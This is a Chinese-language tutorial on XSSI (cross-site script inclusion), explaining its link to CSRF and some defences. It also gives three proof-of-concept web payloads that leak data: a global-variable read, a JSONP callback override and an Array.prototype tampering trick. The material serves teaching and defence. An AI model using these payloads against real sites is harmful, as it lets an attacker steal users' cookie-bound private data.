参考:
https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf
https://www.scip.ch/en/?labs.20160414
http://sebastian-lekies.de/leak/ 供练习的小样例。
简介
什么是 XSSI
XSSI 全称(Cross-Site Script Inclusion),在命名上和 XSS(Cross-Site Script)相似。但漏洞利用行为上和 CSRF 更为相像。
当一个网站通过 <script>
标签请求 js 文件时,服务器所返回的 js 文件中若包含敏感信息。那么通过 js 间接的方式获取到这些敏感信息,则称为 XSSI。
既然如此,可能会产生疑问,其和 csrf 有什么关联呢?其实可以从两个角度来理解:
- 第一个角度,试想这样的情景。服务器上存在某个 js 文件,可以根据用户 cookie 动态生成的,并且里面包含有用户的敏感信息。此时我们因为没有受害者的 cookie ,所以无法直接以其身份请求该 js 文件。但想一想 csrf ,csrf 是如何诱使受害者触发的呢,最常见的应该就是借助 xss。所以,此时若页面中有xss 漏洞的话,我们就可以诱使受害者包含含有敏感信息的 js 文件,并通过xhr 将信息传送到我们控制的服务器上。
- 第二个角度。实际上,csrf 中有两类利用方式,第一类就是以受害者的身份执行敏感操作,第二类就是以受害者的身份请求某类敏感资源。此处的 xssi 就和第二类的 csrf 非常类似,不过不同点在于请求的对象不同。csrf 通常是请求的是web 页面、或 api 接口,而xssi 请求的是 js 文件。
使用场景
存在服务端根据用户 cookie 动态生成的 js 文件,并且其中包含有值得获取的敏感信息。
存在XSS,使得可以可以类似 CSRF POST 型触发方式进行触发。
如何攻击
可以使用此 burp 插件检验网站是否存在动态的 js 文件 DetectDynamicJS
若检测到为动态 js,并且经翻阅后发现存在敏感的信息,则参考下文的攻击方式进行利用。
如何防御
从 XSSI 的描述中,其实可以看到,其利用方式和 csrf 非常类似,所以 csrf 的一些防御方式也可以用来防御 XSSI。
此外,前端的 js 文件文件名必须固定。从这个角度来看,xssi 中 js的文件名,就相当于 csrf 中的 url 都必须是固定的。而现实中前端越来越多使用 webpack 打包,使得部分 js 文件名不可预测。
因为动态的 js 平时也比较罕见,所以关于防御方式,碰到再仔细研究。
攻击方式
静态 js
如果是静态 js(包含网站的敏感信息,而不是特定用户的敏感信息),那么直接在 js 文件中查看就行。因为所有人访问该文件得到的结果都一样。
动态 js 、基于认证的 js
注意,这两类攻击方式都是一样,但仍然有一个概念上的细微区别。
动态 js 指的是不同的人访问获得的内容不同。
基于认证 js 指的是只有经过认证之后,才能访问。
和水平越权垂直越权之间的关系类似,两者的关系并不是互斥的,有时一个 js 文件既是动态的、又是基于认证的。
这块演示三个小案例
-
// 含敏感信息的动态 js 文件,敏感信息属于全局变量 var secret = "password";
// 利用,直接引用这个敏感的全局变量。 // 这块的 alert 只是从示例中挪过来的,实际获取信息的话可以通过 xhr 将敏感信息发送到攻击者控制的服务器上,剩下两个案例也是类似的,就不再重复。 <script src="https://www.vulnerable-domain.tld/script.js"></script> <script> alert(secret); </script>
-
// 含敏感信息的动态 js 文件,敏感信息作为函数调用参数进行传递 angular.callbacks._7("secret message");
// 通过重写函数来获取到敏感信息 <script> var angular = function () { return 1; }; angular.callbacks = function () { return 1; }; angular.callbacks._7 = function (leaked) { alert(leaked); }; </script> <script src="https://www.vulnerable-domain.tld/?jsonp=angular.callbacks._7" type="text/javascript"></script>
-
// 含敏感信息的动态 js 文件,敏感信息作为参数进行传递,并且是 js 内置的函数。 (function(){ var arr = ["secret1", "secret2", "secret3"]; var x = arr.slice(1); ... })();
// 通过原型链篡改来获取敏感数据。 Array.prototype.slice = function(){ alert(this); };